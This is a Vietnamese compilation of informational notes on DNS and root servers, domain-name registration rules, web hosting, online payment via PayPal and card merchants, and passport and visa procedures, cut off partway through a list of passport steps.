duong day 500 kV), VNCoalNet (Tong cong ty than VN), GDTNet (tong
cong ty thue VN). Thang 7 moi day, TNet da thiet ke tiep mang mien
rong SVMP ("Sach ve muon phuong"), noi he thong quoc gia thuoc 53
tinh, thanh trong ca nuoc.


DNS he thong quan ly ten mien

Internet là môi trường nhiều địa chỉ và các tên miền tương ứng, vì thế để quản lý, định tuyến một cách chính xác cần phải có một hệ thống lưu trữ và xử lý những địa chỉ và tên miền này, hệ thống này được gọi là hệ thống quản lý tên miền (DNS). Cụ thể hệ thống tên miền bao gồm một loạt các cơ sở dữ liệu chứa địa chỉ IP và các tên miền tương ứng với chúng. Mỗi tên miền tương ứng với một địa chỉ Ipv4 hoặc Ipv6. Hệ thống này có nhiệm vụ chuyển đổi tên miền sang địa chỉ IP và ngược lại.

Trong những năm đầu, tất cả các tên máy và địa chỉ IP tương ứng được lưu giữ trong file hosts.txt, file này được trung tâm thông tin mạng NIC (Network Information Center) lưu giữ. Tuy nhiên khi hệ thống Internet phát triển, việc lưu giữ thông tin trong một file không thể đáp ứng nhu cầu phân phối và cập nhật. Do đó, hệ thống tên miền DNS đã phát triển dưới dạng các cơ sở dữ liệu phân tán, mỗi cơ sở dữ liệu này sẽ quản lý một phần trong hệ thống tên miền.

2. Cấu trúc của hệ thống tên miền .

Hệ thống tên miền được sắp xếp theo cấu trúc phân cấp. Mức trên cùng được gọi là root và ký hiệu là “.”. Tổ chức quản lý hệ thống tên miền trên thế giới là The Internet Coroperation for Assigned Names and Numbers (ICANN). Tổ chức này quản lý mức cao nhất của hệ thống tên miền (mức Root). Do đó ICANN có quyền cấp phát các tên miền dưới mức cao nhất này cho các tổ chức và các khu vực, các quốc gia theo những chính sách nhất định.

Vì thế Hệ thống quản lý tên miền (DNS) là tập hợp của nhiều máy chủ quản lý tên miền theo từng khu vực, theo từng cấp trên mạng Internet, thực hiện chức nǎng chuyển đổi từ tên miền thể hiện dưới dạng chữ sang địa chỉ IP thể hiện dưới dạng số và ngược lại. Người dùng sẽ sử dụng tên miền cho dễ nhớ, còn máy tính và các thiết bị Router lại căn cứ vào địa chỉ IP để xử lý .

Chú ý: Phân biệt tên viết tắt giữa Domain Name System DNS và Domain Name Server dns .

Mỗi máy chủ quản lý tên miền (Domain Name Server – dns) theo từng khu vực, theo từng cấp ví dụ như: một trường đại học, một tổ chức, một công ty hay một bộ phận nào đó thuộc công ty. Máy chủ đó phải đảm bảo thông tin dữ liệu riêng về địa chỉ và tên miền trong khu vực, trong cấp mà nó quản lý đồng thời nó cũng có khả năng hỏi các máy chủ quản lý các khu vực khác hoặc cấp cao hơn nó để có thể trả lời được các truy vấn về những tên miền không thuộc quyền quản lý của nó và cũng luôn sẵn sàng trả lời các máy chủ khác về các tên miền mà nó quản lý.

Bên dưới Root là tên miền cấp cao nhất (Top Level Domain - TLD), hệ thống tên miền cấp cao nhất này được chia thành hai loại là gTLDs (generic Top Level Domains) dành cho các lĩnh vực dùng chung và ccTLDs (country-code Top Level Domain) là các mã quốc gia của các nước tham gia Internet.

A. Các lĩnh vực dùng chung (gTLDs).

a. Hệ thống các đuôi dùng chung.

Hiện nay, hệ thống tên miền cấp cao nhất đại diện cho các lĩnh vực dùng chung bao gồm 14 lĩnh vực:

1- COM : Thương mại (Commercial) .

2- EDU : Giáo dục (Education) .

3- NET : Mạng lưới (Network).

4- INT : Các tổ chức quốc tế (International Organisations).

5- ORG : Các tổ chức khác (Other orgnizations) .

6- BIZ : Các tổ chức thương nhân (Business Orgnisations).

7- INFO : Phục vụ cho việc chia sẻ thông tin (Informations).

8- AERO : Dành cho các nghành công nghiệp, vận chuyển hàng không (aviation community) .

9- COOP : Dành cho các tổ chức hợp tác (Co-operatives) .

10- MUSEUM : Dành cho các viện bảo tàng .

11- NAME : Dành cho các thông tin cá nhân .

12- PRO : Dành cho các lĩnh vực chuyên nghiệp (Professionals).

13- MIL : Dành cho các lĩnh vực quân sự (Military) .

14- GOV : Chính phủ (Government) .

b. Các tên miền cấp hai dưới gTLDs.

Các tổ chức quản lý các gTLDs quốc tế cho phép đặt các tên miền cấp hai dưới chúng một cách đa dạng miễn là chúng tuân theo một số quy tắc về ý nghĩa và các chuẩn cú pháp về quy tắc đặt tên miền.

Ví dụ .cnn.com, .learn.edu .

B. Các mã quốc gia (ccTLDs).

a. Hệ thống mã quốc gia.

Như đã trình bày ở trên bên cạnh các generic Top Level Domain (gTLDs) còn có các country-code top level domains (ccTLDs) trong cấu trúc domain name. Các tên này định nghĩa cho tên các quốc gia hoặc các vùng địa lý quản lý nó được quy định bằng hai chữ cái theo tiêu chuẩn ISO - 3166. Ví dụ như ccTLDs của Việt Nam là .vn, của Anh Quốc là .uk, của Canada là .ca. Sau đây là bảng danh sách các nước có mã tên miền cấp quốc gia tương ứng:

http://www.iana.org/cctld/cctld-whois.htm

b. Tên miền cấp hai dưới ccTLDs.

Đối với các quốc gia nói chung tên miền cấp hai này do tổ chức quản lý mạng của quốc gia đó định nghĩa. Tuỳ theo chính sách của mỗi quốc gia mà các tên miền cấp hai có thể được định nghĩa một cách đa dạng hoặc nhiều hơn hay ít đi so với các lĩnh vực dùng chung nêu trên. Thông thường, các quốc gia vẫn định nghĩa các lĩnh vực kinh tế, chính trị, xã hội, giáo dục của mình tương tự như các lĩnh vực dùng chung.

Ví dụ .com.vn .edu.vn .edu.au

Tuy nhiên một số quốc gia như Anh, Na Uy, Thụy Điển, Đan Mạch lại cho phép đăng ký tự do các tên miền cấp hai dưới mã quốc gia.

Ví dụ: .co.uk .home.no .learn.se .market.dk

Theo cơ chế phân cấp, mỗi một cấp tên miền đều có các máy chủ quản lý tên miền (dns) quản lý tên, địa chỉ theo cấp đó, trong khu vực đó. Một thông tin về địa chỉ hay tên miền mà dns không trả lời được nó sẽ hỏi lên dns cấp cao hơn. Tuy nhiên không phải dns nào cũng biết liên lạc với tất cả các dns khác nhưng nó phải biết cách liên lạc tới một trong những dns cấp cao nhất (Root Servers). Trên thế giới có 13 hệ thống máy chủ dns cấp Root. Các thông tin về tên, vị trí địa lý, tổ chức quản lý, địa chỉ IP và số hiệu ASN của từng hệ thống được trình bày trong bảng sau:

ROOT Servers

Server
Tổ chức quản lý
Vị trí
Địa chỉ IP
Số hiệu
ASN

A
VeriSign Global Registry Services
Dulles VA
198.41.0.4
19836

B
Information Sciences Institute
Marina Del Rey CA
IPv4: 192.228.79.201
IPv6: 2001:478:65::53
tba

C
Cogent Communications
Herndon VA Los Angeles
New York City Chicago
192.33.4.12
2149

D
University of Maryland
College Park MD
128.8.10.90
27

E
NASA Ames Research Center
Mountain View CA
192.203.230.10
297

F
Internet Systems Consortium, Inc.
Ottawa Palo Alto San Jose CA
New York City San Francisco
Madrid Hong Kong Los Angeles
Rome Auckland Sao Paulo
Beijing Seoul Moscow Taipei
Dubai Paris Singapore Brisbane
Toronto Monterrey
IPv4: 192.5.5.241
IPv6: 2001:500::1035
3557

G
U.S. DOD Network
Information Center
Vienna VA
192.112.36.4
568

H
U.S. Army Research Lab
Aberdeen MD
IPv4: 128.63.2.53
IPv6: 2001:500:1::803f:235
13

I
Autonomica/NORDUnet
Stockholm Helsinki Milan
London Geneva Amsterdam
Oslo Bangkok Hong Kong
192.36.148.17
29216

J
VeriSign Global Registry Services
Dulles VA Mountain View CA
Sterling VA (2 khu vực)
Seattle WA Amsterdam
Atlanta GA Los Angeles CA
Miami Stockholm London
192.58.128.30
26415

K
Reseaux IP Europeens -
Network Coordination Centre
London Amsterdam Frankfurt
193.0.14.129
25152

L
Internet Corporation for
Assigned Names and Numbers
Los Angeles
198.32.64.12
20144

M
WIDE Project
Tokyo
202.12.27.33
IPv6: 2001:dc3::35
7500


Một hệ thống dịch vụ DNS tiêu chuẩn thường gồm 2 dns, máy chính gọi là primary dns và máy phụ là secondary dns. Máy phụ làm nhiệm vụ dự phòng và san tải cho máy chính, cơ sở dữ liệu về tên miền chứa trên 2 máy này thường tương ứng nhau. Thông tin về tên miền được lưu giữ, cập nhật, cũng như sửa đổi trên máy chính và theo định kỳ (trong cơ sở dữ liệu thường lấy 1800 minutes tức là cứ sau khoảng thời gian 3 giờ) máy phụ sẽ hỏi máy chính, nếu có thông tin mới hay thông tin đã được sửa đổi, máy phụ sẽ tự động cập nhật về. Quá trình cập nhật này gọi là Zone Transfer .

Hoạt động của hệ thống DNS

Giả sử người sử dụng muốn truy cập vào trang web có địa chỉ là http://www.google.com

Trước hết chương trình trên máy người sử dụng gửi yêu cầu tìm kiếm địa chỉ IP ứng với tên miền www.google.com tới máy chủ quản lý tên miền (name server) cục bộ thuộc mạng của nó (ISP DNS server).

Máy chủ tên miền cục bộ này kiểm tra trong cơ sở dữ liệu của nó có chứa cơ sở dữ liệu chuyển đổi từ tên miền sang địa chỉ IP của tên miền mà người sử dụng yêu cầu không. Trong trường hợp máy chủ tên miền cục bộ có cơ sở dữ liệu này, nó sẽ gửi trả lại địa chỉ IP của máy có tên miền nói trên (www.google.com)

Trong trường hợp máy chủ tên miền cục bộ không có cơ sở dữ liệu về tên miền này nó thường hỏi lên các máy chủ tên miền ở cấp cao nhất (máy chủ tên miền làm việc ở mức Root). Máy chủ tên miền ở mức Root này sẽ trả về cho máy chủ tên miền cục bộ địa chỉ của máy chủ tên miền quản lý các tên miền có đuôi .com.

Máy chủ tên miền cục bộ gửi yêu cầu đến máy chủ quản lý tên miền có đuôi (.com) tìm tên miền www.google.com. Máy chủ tên miền quản lý các tên miền .com sẽ gửi lại địa chỉ của máy chủ quản lý tên miền google.com.

Máy chủ tên miền cục bộ sẽ hỏi máy chủ quản lý tên miền google.com này địa chỉ IP của tên miền www.google.com. Do máy chủ quản lý tên miền google.com có cơ sở dữ liệu về tên miền www.google.com nên địa chỉ IP của tên miền này sẽ được gửi trả lại cho máy chủ tên miền cục bộ.

Máy chủ tên miền cục bộ chuyển thông tin tìm được đến máy của người sử dụng.

PC của người dùng sẽ sử dụng địa chỉ IP này để mở một phiên kết nối TCP/IP đến server chứa trang web có địa chỉ http://www.google.com .







Ten mien

Tên miền ( Domain name ) là một tên dễ nhớ để gán cho một địa chỉ trên internet, thí dụ: YAHOO.COM, EBAY.COM, SAIGONWEB.NET, VNN.VN. Nó thay thế cho một dải những con số khó nhớ ( gọi là Internet Protocol numbers ). Có thể hiểu tên miền như là địa chỉ ( số nhà ) trên mạng Interrnet. Doanh nghiệp tham gia hoạt động trên mạng internet thì đăng ký một tên miền là việc đầu tiên cần làm, tên miền riêng khẳng định vị trí, giúp khách hàng dễ tìm đến website của doanh nghiệp, vừa bảo vệ thương hiệu của doanh nghiệp trên Interrnet.

2. Có bao nhiêu loại tên miền ?

Tên miền được chia thành 2 cấp độ cao nhất : tên miền quốc tế và tên miền quốc gia.

· Tên miền quốc tế là những tên miền có phần đuôi là com, net, org ( đến cuối năm nay sẽ chính thức có thêm tên miền biz và info).

· Tên miền quốc gia có phần đuôi là ký hiệu của mỗi quốc gia. Ký hiệu này được quy định bởi Tổ chức Quản lý Tên miền Quốc tế (ICANN). Việt Nam có phần đuôi là VN, Australia là AU, Pháp là FR, Hiện có hơn 200 tên miền quốc gia khác nhau. Dưới mỗi tên miền quốc gia có tên miền cấp 2 và cấp 3 ( thí dụ COM.VN, EDU.VN, ).

3. Tên miền bao gồm các ký tự nào?

- Tên miền có thể bao gồm các con số từ 0 đến 9, các chữ cái từ a đến z và dấu gạch ngang. Tuy nhiên, tên miền không thể bắt đầu bằng dấu gạch ngang.

- Tên miền có thể có đến 63 ký tự. Thông thường tên miền có ít nhất 3 ký tự. Tuy nhiên trong những trường hợp cần thiết, có thể đăng ký tên miền với 2 ký tự, nếu chứng minh được quyền và lợi ích hợp pháp cho việc đăng ký tên miền như này.

- Tên miền đăng ký không được bao gồm các cụm từ xâm phạm đến lợi ích của quốc gia hoặc không phù hợp với đạo đức xã hội, với nếp sống, văn hóa dân tộc.

4. Quy tắc chọn tên miền:

· Càng ngắn càng tốt

· Dễ nhớ

· Không gây nhầm lẫn

· Khó viết sai

· Tên miền phải liên quan đến tên hoặc lĩnh vực kinh doanh của Doanh nghiệp bạn.

· Tên miền phải được xây dựng dựa trên khách hàng mục tiêu.

5. Tầm quan trọng của tên miền

Khi bạn hay doanh nghiệp bạn tham gia Internet, tên miền đóng vai trò cực kỳ quan trọng, nó càng quan trọng khi được sử dụng lâu. Người ta có thể đến và giao dịch thông qua website của bạn thông qua tên miền, khách hàng hay đối tác của bạn có thể trao đổi email với bạn cũng qua tên miền (tennv@tencongty.com , tenbophan@tencongty.com). Có thể nói hệ thống thông tin liên quan đến Internet của bạn phụ thuộc hoàn vào tên miền. Vì lẽ đó, bạn phải chọn đối tác tin cậy để uỷ thác việc đăng ký tên miền cho bạn, không nên vì ham rẻ hơn chỉ vài USD mà bạn chọn lầm đối tác đăng ký tên miền cho bạn , dẫn đến những thiệt hại nghiêm trọng về sau cho doanh nghiệp bạn.

6. Khác nhau giữa các tên miền com, net, org ?

Không có quy định bắt buộc đối với tên miền quốc tế khi sử dụng .com, .net, . org.
Thông thường các tên miền .com được dùng cho doanh nghiệp và các tổ chức thương mại. Tên miền .net được dùng cho các công ty cung cấp dich vụ internet. Tên miền .org được dùng cho cơ quan chính phủ và các tổ chức phi lợi nhuận.

7. Ai quản lý các tên miền ?

Tên miền quốc tế và tên miền quốc gia cấp 1 do tổ chức Internet Corporation for Assigned Names and Numbers (ICANN) quản lý. Tên miền quốc gia cấp thấp hơn do cơ quan quản lý tên miền của từng nước quản lý. ở Việt Nam , cơ quan quản lý tên miền quốc gia là VNNIC.

8. Có thể đăng ký tên miền với thời hạn tối đa bao lâu ?

Tên miền có thể đăng ký với thời hạn từ 1 đến 10 năm. Khi hết thời hạn đã đăng ký, người chủ của tên miền cần phải đăng ký lại.

9. Có phải khi tôi đăng ký tên miền có nghĩa là tôi là chủ sở hữu tên đó?

Không. Theo quy định của Việt Nam, tên miền là tài nguyên quốc gia, bạn chỉ có quyền sử dụng tên miền đó. Quyền sử dụng này có thời hạn phụ thuộc vào phí gia hạn mà bạn nộp. Về nguyên tắc, bạn không tự động có quyền giữ tên miền mãi mãi. Nhưng trên thực tế, nếu bạn trả tiền đầy đủ và không vi phạm các quy định về quyền sở hữu trí tuệ của người khác, tên miền về cơ bản thuộc về bạn.

10. Để làm chủ một tên miền, có cần phải có trang web không?

Không, bạn có thể đăng ký một tên miền và link đến một trang web có sẵn của bạn. Theo quy định, tên miền không được sử dụng trong thời hạn 60 ngày kể từ ngày đăng ký sẽ bị thu hồi.

11. Có phải đăng ký một tên miền đồng nghĩa với việc có một trang web?

Không. Khi đăng ký tên miền không đồng nghĩa với việc bạn đã có một trang web đi kèm.

12. Tôi có thể làm gì với tên miền?

Có rất nhiều cách sử dụng tên miền, cả chủ động và thụ động.

a. Tên miền có thể được sử dụng để tạo cho bạn một ID độc nhất

Các công ty thường lựa chọn tên miền là tên thương mại của Công ty. Chẳng hạn, trang web của IBM có tên ibm.com, trong khi tên miền của Microsoft là microsoft.com. Như vậy khi ai đó muốn biết các thông tin chính thức từ IBM hay Microsoft thì chỉ cần lên mạng là có thể tìm được một cách dễ dàng.

b. Tên miền chung là thông dụng hơn cả

Tên miền chung là tên miền không liên quan trực tiếp đến công ty, thay vào đó là tên xác định một loại hình hay một lĩnh vực kinh doanh. Một số ví dụ về tên miền chung như books.com.vn, car.com.vn và art.com.vn.

Các công ty là chủ tên miền chung có thuận lợi lớn trong việc quảng bá. Tên miền càng chung thì thành công càng lớn. Hãy tưởng tượng bạn bán sách và bạn có tên miền chung books.com.vn. Những người quan tâm đến sách tất nhiên sẽ vào trang này. Còn có cơ hội quảng cáo nào tốt và hiệu quả hơn?

c. Tên miền cho phép bạn có một địa chỉ email thường trực và duy nhất

Nhiều công ty ngày nay cung cấp cho các nhân viên một địa chỉ email thống nhất. Email của bạn khi đó sẽ là: tenban@tenmien.com.vn. Tất cả các thư từ sẽ được chuyển vào hộp thư do người cung cấp dịch vụ internet của bạn cung cấp. Bạn có thể thay đổi người cung cấp dịch vụ internet mà vẫn giữ nguyên địa chỉ email.

d. Tên miền có thể được sử dụng để nâng cao vị trí trong danh sách kết quả tìm kiếm của các máy tìm kiềm.

Nếu tên công ty bạn chưa được biết đến rộng rãi như IBM hay Microsoft, mọi người vẫn có thể dễ dàng tìm được bạn trong số hàng triệu công ty đang có mặt trên mạng toàn cầu. Chỉ cần gõ một từ khóa (keyword) vào các công cụ tìm kiếm trên Internet như Google hoặc Yahoo là các công cụ này sẽ sàng lọc để những người quan tâm tìm được công ty bạn.

13. Chọn tên miền như thế nào?

Khi chọn tên miền, bạn cần đặt câu hỏi: bạn đăng ký tên miền để làm gì? Trả lời câu hỏi này sẽ giúp bạn lựa chọn được tên miền phù hợp

a. Để sử dụng với mục đích “cá nhân”

Bạn muốn tậu một tên miền chỉ để có một địa chỉ URL hoặc một địa chỉ email riêng, hay đơn giản để gây ấn tượng với những người xung quanh? Hay bạn muốn có một tên miền liên quan đến vấn đề đang được nhiều người quan tâm? Dù là nguyên nhân nào đi chăng nữa, nếu bạn muốn có một tên miền vì lý do cá nhân, bạn nên lựa chọn dựa trên một trong các thông tin sau:

Họ tên của bạn

Nếu bạn có họ hoặc tên đặc biệt ít người có, bạn có thể sử dụng nó làm tên miền. Hoặc hãy thử lấy họ tên đầy đủ của bạn để đăng ký tên miền (chẳng hạn, nếu tên bạn là Đặng Việt Thành, bạn có thể đăng ký tên miền dangvietthanh.com.vn) hoặc chữ cái đầu của họ và tên (dvthanh.com.vn).

Chú ý: Nếu tên bạn trùng với tên của một người nổi tiếng, hoặc với một nhãn hiệu hàng hoá, bạn có thể bị kiện, dù rằng đó chính là tên riêng của bạn. Có thể hơi khó tin, nhưng trên thực tế, đã có nhiều người nổi tiếng lấy lại tên của mình từ những người trùng tên.

Các sở thích, thiên hướng hoặc thói quen của bạn

Nếu bạn là người hâm mộ thể thao, bạn có thể lấy tên miền như thethao.com.vn hoặc sports-mad-guy.com.vn. Nếu bạn là người thích ngủ, bạn có thể đặt tên cho trang web của bạn là giacmo.com.vn hoặc in-a-daze.com.vn, v.v.

Nếu quan tâm hơn một chút, bạn sẽ thấy rằng rất nhiều tên miền như vậy được đăng ký. Thế nhưng hãy chú ý, đừng chọn các tên miền có thể khiến bạn phải mệt mỏi vì bị kiện!

b. Công ty

Nếu bạn đăng ký một hoặc nhiều tên miền cho công ty của bạn, bạn nên chú ý đến một số vấn đề sau: Dù nguyên nhân có khác nhau, tên miền thường được đăng ký để bảo hộ tên thương mại hoặc nhãn hiệu hàng hoá.

Bảo hộ nhãn hiệu

Cần đăng ký tên miền song song với việc bảo hộ nhãn hiệu hoặc tên thương mại.

Trên thương trường có rất nhiều trường hợp người khác chiếm đoạt tên miền là tên thương mại, nhãn hiệu hàng hóa và sau đó đòi chủ sở hữu tên thương mại hoặc nhãn hiệu hàng hóa phải mua lại với giá cắt cổ.

Cho nên tốt hơn cả bạn nên đăng ký một loạt các tên miền liên quan đến tất cả các nhãn hiệu, tên thương mại mà công ty bạn muốn bảo hộ.

Kết hợp một từ chung vào sản phẩm của bạn

Chúng tôi không đề cập ở đây lợi ích của việc kết hợp một từ chung vào sản phẩm. Proctor & Gamble là một ví dụ điển hình về các công ty có cách tiếp cận như vậy. Công ty này đã đăng ký hàng trăm tên miền là từ chung về tất cả các khía cạnh liên quan đến vệ sinh cá nhân và y tế.

Hiện nay đã quá muộn để đăng ký các tên miền như art.com.vn hay car.com.vn, nhưng nếu tập trung suy nghĩ, chúng ta còn kịp thời đăng ký các tên miền thay thế khác có thể mang lại kết quả tốt cho công việc kinh doanh. Có thể dễ dàng nối các tên thay thế này vào trang web chính, nhằm mục đích thu hút được nhiều khách hàng hơn nữa.

14. Nguyên tắc đăng ký tên miền

a) Những nguyên tắc chung.

· Khuyến khích sử dụng rộng rãi tên miền dưới tên miền quốc gia .VN. Ưu tiên những tên miền trực tiếp tham gia hoạt động, kinh doanh tại Việt Nam.

· Tên miền là do tổ chức, cá nhân tự chọn, tuân theo quy định của pháp luật hiện hành, phù hợp với các quy định về sở hữu trí tuệ và các quy định nêu trong bản Quy định này.

· Đăng ký theo nguyên tắc bình đẳng, không phụ thuộc vào người đăng ký là một cá nhân hay một tổ chức. Tổ chức, cá nhân đăng ký trước được xét cấp trước.

· Tên miền chỉ được cấp phát khi có đầy đủ thông tin về máy chủ tên miền mà nó được đặt hoặc tên miền đích mà nó trỏ tới.

· Tổ chức, cá nhân xin đăng ký tên miền phải giải thích rõ mối liên quan của tên miền xin đăng ký với hoạt động của mình, hoàn toàn chịu trách nhiệm về tính chính xác của các thông tin cung cấp cho Trung tâm Internet Việt Nam.

b) Tên miền đăng ký không được bao gồm các cụm từ xâm phạm đến lợi ích của quốc gia hoặc không phù hợp với đạo đức xã hội, với nếp sống, văn hóa dân tộc.

c) Tránh đăng ký các tên miền liên quan tới tên các địa danh, danh nhân, lãnh tụ hay liên quan tới các tên chung của một ngành kinh tế, chủng loại hàng hóa, sản phẩm, tên các loại dược phẩm, tổ chức liên chính phủ, tổ chức chính trị, xã hội. Trong trường hợp có nhu cầu đăng ký cần có sở cứ rõ ràng.

15. Thay đổi tên miền

· Thay đổi hoàn toàn tên miền là đăng ký một tên miền mới theo thủ tục đăng ký, sử dụng tên miền. Trong trường hợp này tên miền cũ sẽ bị hủy bỏ.

· Thay đổi các thông tin liên quan đến sự hoạt động và quản lý của tên miền như các thông số kỹ thuật, địa chỉ cơ quan, số điện thoại, số fax, Email, v.v

16. Tạm ngừng, hủy bỏ tên miền.

a) Hủy bỏ tên miền trong các trường hợp sau:

· Tên miền được hủy bỏ nếu nhận được yêu cầu bằng văn bản hợp pháp của cơ quan, tổ chức, cá nhân đăng ký.

· Vi phạm pháp luật theo văn bản kết luận của các cơ quan nhà nước có thẩm quyền.

· Tên miền sẽ bị hủy bỏ sau 30 ngày kể từ khi tạm ngừng mà cơ quan, tổ chức, cá nhân vẫn tiếp tục vi phạm.

b) Tạm ngừng sử dụng tên miền trong các trường hợp sau:

· Vi phạm những điều, khoản của ”Quy định về quản lý và sử dụng tài nguyên Internet“ của Bộ trưởng Bộ Bưu Chính Viễn Thông.

· Quá thời hạn thanh toán phí duy trì tên miền theo quy định.

c) Gửi thông báo.

· Chúng tôi sẽ gửi thông báo tạm ngừng hay hủy bỏ cho các tổ chức, cá nhân đang sử dụng tên miền.

· Việc tạm ngừng hay hủy bỏ sẽ được thực hiện ngay trên hệ thống máy chủ tên miền, cơ sở dữ liệu.

17 Khôi phục tên miền.

Tất cả tên miền bị huỷ đều được lưu giữ lại tối đa 30 ngày để tạo điều kiện cho các tổ chức, cá nhân khôi phục tên miền cũ khi có khả năng sử dụng lại

Hosting

Có thể giải thích đơn giản như sau : Web hosting là nơi không gian trên máy chủ có cài dịch vụ Internet như ftp,www, nơi đó bạn có thể chứa nội dung trang web hay dữ liệu trên không gian đó. Lý do bạn phải thuê Web Hosting để chứa nội dung trang web, dịch vụ mail, ftp, vì những máy tính đó luôn có một địa chỉ cố định khi kết nối vào Internet (đó là địa chỉ IP) , còn như nếu bạn truy cập vào internet như thông thường hiện nay thông qua các IPS (Internet Service Provider - Nhà cung cấp dịch vụ Internet) thì địa chỉ IP trên máy bạn luôn bị thay đổi, do đó dữ liệu trên máy của bạn không thể truy cập được từ những máy khác trên Internet.

Tuỳ theo nhà cung cấp dịch vụ Web hosting mà chất lượng cũng khác nhau như:
- Tốc độ truy cập Internet tại server Web hosting đó.
- Dung lượng đĩa là yếu tố mà bạn có thể chứa được nhiều web page hay dữ liệu của bạn hay không.
- Các tiện ích như các hệ quản trị cơ sở dữ liệu có hổ trợ hay không để giúp bạn viết một chương trình Web tên đó hay không ?,
Nói tóm lại nếu bạn chỉ có tên miền-domain mà không có dịch vụ web hosting thì bạn không thể có một trang web được.

2. Các yêu cầu và tính năng của Web Hosting

Web Hosting phải có một dung lượng đủ lớn (tính theo MBytes) để lưu giữ được đầy đủ các thông tin, dữ liệu, hình ảnh, của Website
Cập nhật website bằng giao thức FTP vào bất cứ thời điểm nào
Phải có Bandwidth (băng thông) đủ lớn để phục vụ các hoạt động giao dịch, trao đổi thông tin của Website diễn ra nhanh chóng.
Hỗ trợ các công cụ lập trình phần mềm trên Internet và các công cụ viết sẵn để phục vụ các hoạt động giao dịch trên Website như gửi mail, upload qua trang Web,
Hỗ trợ đầy đủ các dịch vụ E-mail tạo, sửa, xoá các account email với tính năng POP3 E-mail, E-mail Forwarding, Webmail
Hỗ trợ các công cụ thống kê tình hình truy cập trang web
Chủ động tạo các subdomain.
Không bị chèn các banner quảng cáo của đơn vị khác
3. Các loại WebHosting

3.1. Unix Hosting:

Unix là hệ thống server cũ mà hầu hết các nhà cung cấp host Việt Nam đang sử dụng. Khi host trên server này, người soạn web phải có kiến thức viết web bằng HTML rất vất vả, soạn từng trang hoặc soạn script CGI rất cực nhọc và phải upload bằng FTP. Nếu có sửa lại thư mục hoặc mất một trang thì phải kiểm tra lại toàn bộ các đường dẫn đến trang đó. Các tiện ích như counter đếm số người truy cập, form nhập liệu cũng phải viết bằng ngôn ngữ CGI đều phải viết riêng, rất mất thì giờ như thể người ta phải chế tạo lại cái bánh xe vậy.

3.2. Window Hosting:

Server WINDOW hiện nay đang là thời thượng vì Microsoft cố gắng hỗ trợ hoàn toàn và dễ dàng cho người dùng mà ngay cả người không chuyên nghiệp vẫn có thể tạo ra trang web nhìn rất ư chuyên nghiệp. Một trong những tính năng của server window là có hỗ trợ Frontpage extension.


Thanh toan truc tuyen

Neu ban muon thanh toan truc tuyen thi rat co nhieu cach:

Cach thu nhat la tra bang PayPal, website cua no la www.paypal.com. Paypal la mot cong ty chuyen tien trung gian giua nguoi mua va nguoi ban. Paypal cung dam nhan chuyen tien neu ban can chuyen tien cho ai do va khong can phai la nguoi mua hay nguoi ban. Truoc tien la ban dang ky voi Paypal ho ten, e-mail va your bank account hay mot loai the tin dung (the tin dung co the la do mot ngan hang o VN cung cap). Paypal se kiem tra so truong muc va ten ho cua ban voi nha bank ban cung cap bang cach bo vao truong muc cua ban khoang 0.25 or 0.29 cent USD. Khi truong muc cua ban da nhan duoc tien thi ban bao voi ho. Coi nhu la ban da gan nhu hoan thanh. Khi nguoi mua software cua ban muon tra tien thi ban chi can dua cho nguoi mua dia chi email cua ban hay la userID ma ban da dang ky voi Paypal thi nguoi mua se tu tra tien cho ban. Khi tien chuyen vao thi Paypal se bao cho ban va ban chi viec log on your account va transfer tien vao truong muc nha bang cua ban ma thoi. Ban nen nho rang tuy theo muc do giao dich ma Paypal se an bao nhieu phan tram tren so tien ban thu duoc.

Cach thu hai cung tuong tu nhu cach tren nhung ban phai dang ky vo hang VISA va MASTERCARD (hay la nhung nha bank dai dien cho MASTERCARD) de mo mot truong muc va khach hang co the tra bang the tin dung. Tien se vao trong hang VISA hay MASTERCARD truoc khi chuyen giao cho ban sau khi ho da an bao nhieu phan tram tren so tien cua ban (surcharge). Toi khong biet la nha bank o VN da co the thanh toan nhu vay chua? Chac an thi ban lien he voi nha bank o VN xem the nao truoc khi thuc hien. Hy vong nhung tin tuc nay giup ban phan nao. Chuc ban thanh cong.

Ho chieu Visa

Theo quy định tại Nghị định 05/2000/NĐ-CP ngày 03/03/2000 của Chính phủ Việt nam về viêc xuất nhập cảnh của công dân Việt nam, hộ chiếu là tài sản của Nhà nước Cộng hòa xã hội chủ nghĩa Vịêt nam và chỉ cấp cho công dân Việt nam. Hộ chiếu Việt nam gồm các loại: hộ chiếu phổ thông, hộ chiếu công vụ và hộ chiếu ngoại giao. Các loại hộ chiếu trên có giá trị 05 năm kể từ ngày cấp; khi hết hạn có thể được gia hạn một lần với thời hạn không quá 03 năm. Hộ chiếu phổ thông được cấp cho mọi công dân Việt nam.
Thị thực (visa) thường được cấp cho người nước ngoài vào Việt nam hoặc người Việt nam ra nước ngoài (áp dụng đối với trường hợp các nước không ký Hiệp định miễn thị thực nhập cảnh đối với Việt nam). Nếu bạn muốn ra nước ngoài thì phải có được thị thực của quốc gia bạn định sang trong đó có ghi thời hạn cho phép bạn được phép vào nước đó trong thời hạn bao lâu. Hết thời hạn của thị thực, bạn buộc lòng phải ra khỏi quốc gia đó nếu không xin gia hạn thị thực.
Thủ tục xin thị thực tùy vào từng quốc gia mà bạn dự định đến và mục đích mà bạn vào quốc gia đó. Bạn phải đến Đại Sứ quán của quốc gia đó tại Việt nam để xin thị thực ngoại trừ thị thực của bạn có thể xin phép ngay tại nước ngoài. Tại đó, nhân viên của Đại sứ quán sẽ hướng dẫn cho bạn cách thức để bạn có thể xin được thị thực vào đất nước của họ.

5 BƯỚC LÀM PASSPORT XUẤT NGOẠI

Không đợi đến lúc du học, rồi sẽ có dịp bạn đi công tác hoặc đi du lịch nước ngoài. Thế nên, ngay từ bây giờ bạn hãy làm hộ chiếu (passport: giấy chứng minh cá nhân với hình thức một quyển sổ nhỏ dùng để đi lại ở nước ngoài) để không “lỡ tàu” khi cơ hội đến. Hiện nay, thủ tục làm hộ chiếu không khó đâu!

1. Đến nhận mẫu đơn xin cấp hộ chiếu phổ thông tại Phòng công an quản lý xuất nhập cảnh cấp tỉnh/ thành. Có thể download đơn này từ website của Cục quản lý XNC: www.vnimm.gov.vn

2. Điền đầy đủ thông tin vào đơn + đến Công an phường/ xã để được xác nhận vào đơn.

3. Chuẩn bị hình chụp chân dung khổ 4x6 mới nhất, nhìn thẳng, để đầu trần.

